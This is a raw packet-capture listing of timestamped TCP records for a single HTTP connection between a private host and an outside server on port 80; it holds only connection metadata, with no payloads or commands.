Aug 5, 2024 12:01:43.340766907 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.340770006 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.340778112 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.340780973 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.340790987 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.340800047 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.340811968 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.341203928 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.341223001 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.341234922 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.341243982 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.341247082 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.341269970 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.341365099 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.341378927 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.341389894 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.341402054 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.341403961 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.341413975 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.341425896 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.341432095 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.341437101 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.341444969 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.341448069 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.341459990 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.341470003 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.341476917 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.341481924 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.341494083 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.341500998 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.341506004 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.341516972 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.341525078 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.341528893 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.341546059 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.341582060 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.342334986 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.342346907 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.342356920 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.342369080 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.342381001 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.342391968 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.342403889 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.342415094 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.342421055 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.342421055 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.342427015 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.342437983 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.342448950 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.342448950 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.342461109 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.342467070 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.342472076 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.342483997 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.342487097 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.342494965 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.342500925 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.342511892 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.342518091 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.342530012 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.342531919 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.342530966 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.342556953 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.343192101 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.343205929 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.343216896 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.343229055 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.343240976 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.343240976 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.343251944 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.343260050 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.343269110 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.343281984 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.343292952 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.343296051 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.343307972 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.343324900 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.343342066 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.636239052 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.636269093 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.636284113 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.636354923 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.636365891 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.636379004 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.636456013 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.636517048 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.636528969 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.636542082 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.636553049 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.636564970 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.636578083 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.636579037 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.636579037 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.636614084 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.636746883 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.636806011 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.636929989 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.636940956 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.636960030 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.636972904 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.636984110 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.636990070 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.636996984 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.637001038 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.637015104 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.637025118 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.637029886 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.637036085 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.637048006 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.637051105 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.637070894 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.637552977 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.637564898 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.637574911 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.637588024 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.637598991 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.637602091 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.637610912 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.637620926 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.637623072 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.637634993 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.637646914 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.637649059 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.637658119 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.637670040 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.637677908 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.637681961 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.637693882 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.637695074 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.637705088 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.637711048 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.637717009 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.637728930 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.637742043 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.637742043 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.637754917 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.637762070 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.637804985 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.638514042 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.638526917 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.638537884 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.638550997 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.638561964 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.638566017 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.638578892 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.638581991 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.638591051 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.638601065 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.638612986 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.638617992 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.638624907 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.638636112 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.638643980 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.638644934 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.638647079 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.638659000 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.638669968 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.638679981 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.638691902 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.638695955 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.638704062 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.638716936 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.638721943 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.638721943 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.638727903 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.638739109 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.638755083 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.638792992 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.639476061 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.639487982 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.639497995 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.639509916 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.639522076 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.639528990 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.639533997 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.639544964 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.639554977 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.639560938 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.639565945 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.639578104 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.639589071 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.639590979 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.639590979 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.639602900 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.639610052 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.639616966 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.639630079 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.639631033 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.639641047 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.639652014 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.639658928 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.639664888 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.639677048 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.639678001 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.639688015 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.639708042 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.639750957 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.640453100 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.640465021 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.640475988 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.640494108 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.640503883 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.640516043 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.640527010 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.640527010 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.640538931 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.640551090 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.640554905 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.640554905 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.640564919 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.640577078 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.640578032 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.640599966 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.640610933 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.640615940 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.640625000 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.640640020 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.640645027 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.640652895 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.640667915 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.640721083 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.640739918 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.640753031 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.640794039 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.640913963 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.641149044 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.957942963 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.957957983 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.957983971 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.957995892 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.958018064 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.958034039 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.958089113 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.958123922 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.958136082 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.958148956 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.958168983 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.958204985 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.958283901 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.958296061 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.958311081 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.958349943 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.958455086 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.958466053 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.958477974 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.958488941 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.958498955 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.958508968 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.958511114 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.958523035 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.958530903 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.958554983 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.958584070 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.958730936 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.958828926 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.958838940 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.958849907 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.958868027 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.958899021 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.958975077 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.959180117 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.959228039 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.959356070 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.959367990 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.959378004 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.959414005 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.959610939 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.959624052 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.959655046 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.959770918 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.959783077 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.959813118 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.961524010 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.961534977 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.961545944 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.961565971 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.961582899 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.961580992 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.961595058 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.961606026 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.961608887 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.961616993 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.961656094 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.961657047 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.961698055 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.961710930 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.961720943 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.961734056 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.961744070 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.961745977 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.961757898 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.961764097 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.961769104 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.961782932 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.961793900 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.961803913 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.961810112 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.961813927 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.961817026 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.961817026 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.961824894 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.961838961 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.961857080 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.961864948 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.961869001 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.961880922 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.961885929 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.961895943 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.961905956 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.961910009 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.961927891 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.961939096 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.961946011 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.961951017 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.961961985 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.961972952 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.961975098 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.961987972 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.961992979 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.961998940 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.962012053 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.962013960 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.962024927 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.962028027 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.962034941 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.962048054 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.962054014 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.962060928 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.962071896 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.962081909 CEST	49905	80	192.168.2.7	27.221.16.179
Aug 5, 2024 12:01:43.962084055 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.962095976 CEST	80	49905	27.221.16.179	192.168.2.7
Aug 5, 2024 12:01:43.962116957 CEST	49905	80	192.168.2.7	27.221.16.179
